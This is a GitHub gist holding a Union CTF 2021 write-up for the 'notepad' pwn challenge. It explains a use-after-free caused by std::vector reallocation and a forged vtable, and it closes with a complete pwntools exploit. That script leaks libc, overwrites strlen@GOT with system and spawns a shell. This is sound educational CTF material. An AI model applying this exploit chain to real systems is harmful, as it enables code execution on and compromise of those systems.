Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active February 22, 2021 09:44
Show Gist options
  • Save farazsth98/19cc2268311e248502168b1eb52502f9 to your computer and use it in GitHub Desktop.
Save farazsth98/19cc2268311e248502168b1eb52502f9 to your computer and use it in GitHub Desktop.
Union CTF 2021 - notepad

Here's a cool notepad! We heard that Bjarne Stroustrup himself uses it to manage his notes. Does that make it... notepad++?

nc 35.205.119.236 1337

Author: mrtumble & nankeen

Solves: 10

Functionality

The source code was provided, see here.

$ checksec --file ./notepad
[*]
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

The program essentially lets you create notes using a notepad. It has two classes:

  • A Note class, which is used to store a note. It has two private members: a name_ and a content_, both of which are std::string objects allocated on the heap.

  • A Notepad class, which keeps track of notes. This has two private members too: an std::vector<Note> called notes_, and a raw pointer to a Note* called currentNote_.

When using the program, a Notepad object is created initially, and 5 slots are reserved within the notes_ vector. This is intended to store any notes that are created.

You then have the following functionality:

  1. Create a note - the name_ and content_ fields can be at most 0x3ff in size each. You cannot enter NULL bytes for them.

  2. Search for a note - if you enter a substring that matches an already created note's name_, then that corresponding note is set as the Notepad object's currentNote_.

  3. Manage note - This will open up a submenu to manage the currentNote_.

    1. View note - prints out the currentNote_'s contents by calling the virtual function currentNote_->printContents().
    2. Edit note - Creates new std::string objects for the name_ and content_ fields, and then replaces the currentNote_'s private members with the newly created strings.
    3. Lock note - Takes a key (an std::string) and a key_size. It then calls currentNote_->lockNote(key.c_str(), *(size_t *)key_size), which is again a virtual function.
    4. Back - go back to the main menu.

Note how the call to lockNote above dereferences the key_size provided by the user. This seemed to be a hacky primitive that the authors implemented to make the challenge exploitable using a very specific method. Personally, I think this is a bad way to do this, because it forces players to figure out exactly how the author intends them to exploit the challenge, which kind of ruins the creative aspect of exploit development, but oh well.

Vulnerabilities

There are three vulnerabilities present within the binary. The first two are easy to spot:

  1. currentNote_ can be used uninitialized because there are no checks to ensure that it is set. This is a useless bug and just results in crashes.
  2. The key_size is dereferenced when lockNote is called. PIE is disabled in this binary, so this lets you dereference any arbitrary memory address within the binary and send the value at that address as an argument. As you'll soon see, my exploit requires this exact primitive as I found no way to get an arbitrary read primitive.

The last vulnerability is a slightly more complex use after free. This bug is very often seen in real world software, and is one of the reasons raw pointers should never be used in C++ unless absolutely necessary. Reference counting would have saved the day here.

Remember that the Notepad object reserves space for 5 notes initially. This begs the question: std::vector<T>s are supposed to hold an arbitrary number of objects within them, so what happens if you create more notes than this vector can hold?

The answer is that the vector has a backing store, and when the space within this backing store is exhausted, any new objects added to the vector will cause the vector's backing store to get reallocated. When this happens, the previous backing store is immediately freed.

In our case, the Notepad object has a raw pointer to a Note that it marks as the currentNote_. The simplest way to trigger the UAF is to do the following:

  1. Allocate 5 notes to fill up the notes_ vector.
  2. Use the "Search for a note" functionality to set currentNote_ to an existing note.
  3. Add a 6th note to reallocate the notes_ vector's backing store.
  4. Now, currentNote_ still points to a note in the old backing store (which is now freed). Just use any of the "Manage note" submenu functions to trigger a UAF. If currentNote_ points to the very first note, then the vtable pointer will be set to 0, so this will crash on a null pointer dereference.

Exploit

I think the exploit script is commented pretty well, so I'll just briefly summarize how it works.

The initial size of the notes_ vector is 0x170. Whenever it is reallocated, the size doubles. We need to reallocate the vector three times to have the backing store go into the unsorted bin.

The reason we need to allocate out of the unsorted bin is simple: we can't enter NULL bytes when creating the name_ or content_ for a new note. Why does this matter? Well, an std::string object has 4 data fields (according to GDB at least). These are as follows:

  1. The data ptr - points to the actual string contents in memory
  2. The size - stores the current size of the string
  3. The max length - stores the maximum length the string can grow before needing to be reallocated
  4. ???? - Some other value that is always equal to the size and max length, but idk what this is

Basically, the vector looks like this in memory:

           +---------------------------+--------------------------+
           |                           |                          |
Note 1 --> |       Vtable Pointer      |     |name_| pointer      |
           |                           |                          |
           +------------------------------------------------------+
           |                           |                          |
           |           Size            |         Capacity         |
           |                           |                          |
           +------------------------------------------------------+
           |                           |                          |
           |          ????????         |    |content_| pointer    |
           |                           |                          |
           +------------------------------------------------------+
           |                           |                          |
           |           Size            |         Capacity         |
           |                           |                          |
           +------------------------------------------------------+
           |                           |                          |
           |          ????????         |      Vtable Pointer      | <-- Note 2
           |                           |                          |
           +---------------------------+--------------------------+
           |                           |                          |
           |        [.........]        |        [.........]       |
           |                           |                          |
           +---------------------------+--------------------------+

Now, remember that pointers will always at least have the 2 most significant bytes set to 0. We want to have currentNote_ point to a freed backing store, but we also want to be able to allocate into this backing store and overwrite the currentNote_'s vtable pointer with a valid pointer. This isn't possible if the backing store is freed into a tcache bin, because then our string needs to be the same size as the freed chunk. Without being able to enter NULL bytes, we can't enter any valid addresses.

This problem however is solved if we can allocate out of the unsorted bin, since we can just allocate a string of a specific size, and it'll take out a part of the unsorted bin for us.

From here on out, the exploitation strategy I used is as follows:

  1. Create 20 notes. This will reallocate the notes_ vector twice, and fill up the backing store completely.
  2. Get a handle to the second note in the vector by searching for it. currentNote_ now points to the second note.
  3. Allocate one more note to reallocate the notes_ vector's current backing store. The old backing store will be freed into the unsorted bin.
  4. Allocate a new note. This reuses the memory freed by the notes_ vector's previous backing store. Use this allocation to set the old 2nd note's vtable pointer to fgets@GOT - 0x18.
  5. currentNote_ points to the old 2nd note. Now we call lockNote. This will call a function pointer at *(vtable+0x18), so that's why we set the vtable to fgets@GOT - 0x18.

Now, recall lockNote's signature: virtual void lockNote(const char *key, size_t key_size). It is called with the key and key_size, where the key_size is dereferenced:

void lockCurrentNote(std::string key, size_t key_size) {
    currentNote_->lockNote(key.c_str(), *(size_t *)key_size);
}

This means that when we call fgets, the first argument will be our currentNote_ object's address (i.e this), the second argument will be the key, and the third argument will be the value at the address specified by key_size: char *fgets(char *s, int size, FILE *stream).

Knowing that a pointer to stdin is stored in the .bss section, my exploit calls fgets(currentNote_, 0x48, &stdin), where key is just b"\x48", and key_size is the address of the stdin pointer. This now finally lets us enter NULL bytes.

Using this fgets call, I restore the currentNote_'s vtable pointer to the original one, and set both the name_ and content_ pointers to point to strlen@GOT. I also set the size, capacity, and the other field to 0x400. After this, I view currentNote_ to leak strlen's libc address.

When I was initially doing this, I was actually leaking fgets@GOT instead of strlen@GOT. While doing this, completely by accident, I found that after the libc leak, if I edited currentNote_, then it would literally edit name_ and content_ in place. I was extremely surprised to see this, because the code shows that a new std::string object is allocated for the new name_ and content_, but somehow they are placed at the exact same location as the old name_ and content_.

After I learned about this surprising functionality of editing the currentNote_, I tried setting fgets@GOT to all possible one gadgets, and that didn't work, so I ended up just leaking strlen@GOT instead, and subsequently set strlen@GOT to system@LIBC. Then, making a call to strlen("/bin/sh") (in the readLine() function) will call system("/bin/sh") and get me a shell.

Final script

#!/usr/bin/env python3

from pwn import *

elf = ELF("./notepad")
libc = ELF("./libc.so.6")
p = process("./notepad")
#p = remote("35.205.119.236", 1337)

def add_note(name, content):
    p.sendlineafter("> ", "1")
    p.sendlineafter("Name: \n", name)
    p.sendlineafter("Content: \n", content)

def find_note(name):
    p.sendlineafter("> ", "2")
    p.sendlineafter("term: \n", str(name))

def handle_note():
    p.sendlineafter("> ", "3")

def main_menu():
    p.sendlineafter("> ", "4")

def edit_note(name, content):
    p.sendlineafter("> ", "2")
    p.sendlineafter("Name: \n", name)
    p.sendlineafter("Content: \n", content)

def lock_note(key, keysize):
    p.sendlineafter("> ", "3")
    p.sendlineafter("Key: \n", str(key))
    p.sendlineafter("Key size: \n", str(keysize))

def view_note():
    p.sendlineafter("> ", "1")

# Create 20 notes, we want a handle to the first few notes so make them unique
add_note("A"*0x100, "A"*0x100)
add_note("B"*0x100, "B"*0x100)
add_note("C"*0x100, "C"*0x100)
add_note("D"*0x100, "D"*0x100)
add_note("E"*0x100, "E"*0x100)
add_note("F"*0x100, "F"*0x100)

for i in range(14):
    add_note("G"*0x100, "G"*0x100)

# Get a pointer to the 2nd note
find_note("B"*0x100)

# Add a 21st note, this will free the vector backing store
add_note("L"*0x100, "L"*0x100)

# We still have a pointer to the old 2nd note, so now we just set the 2nd
# note's ptr's vtable so we can call fgets with |lockNote|. |lockNote| is at
# vtable+0x18, and |fgets@GOT| is at 0x409170
add_note(b"Z"*0x18 + b"\x58\x91\x40", "B"*0x100)

# Clear unsorted bin, otherwise we will be overwriting the fd and bk ptrs
# when we call |fgets|, which will cause malloc errors later on
add_note(b"D"*0x2f0, "B"*0x240)

# Read in 0x48 bytes with the fgets by calling |lockNote|. This will overwrite
# that old 2nd note.
#
# fgets(currentNote_, 0x48, 0x409210)
handle_note()
lock_note(b"\x48", 0x409210)

note_vtable = 0x0000000000408dc0
fgets_got = elf.got["fgets"]
strlen_got = elf.got["strlen"]

# With the overwrite, I restore the original vtable, and set both the |name_|
# and |content_| pointers to point to strlen@GOT
payload = p64(note_vtable)
payload += p64(strlen_got) + p64(0x400)*3
payload += p64(strlen_got) + p64(0x400)*3

p.sendline(payload)

# Viewing the note will print out strlen's libc address from strlen@GOT
view_note()

# Parse the leak
for i in range(3):
    p.recvline()

p.recvuntil("| ")

leak = u64(p.recv(6).ljust(8, b"\x00"))
libc.address = leak - 0x18b660

log.info("Libc leak: " + hex(leak))
log.info("Libc base: " + hex(libc.address))

# Now since both the |name_| and |content_| fields point to strlen@GOT, we just
# edit and set them both to system. This will basically free the old name and
# content and put &system in both of them, and since both of them point to
# strlen@GOT, it will overwrite strlen@GOT with system@LIBC
edit_note(p64(libc.sym["system"]), p64(libc.sym["system"]))

# Just trigger strlen("/bin/sh") to call system("/bin/sh")
p.sendlineafter("> ", "2")
p.sendlineafter("Name: \n", "/bin/sh")

p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment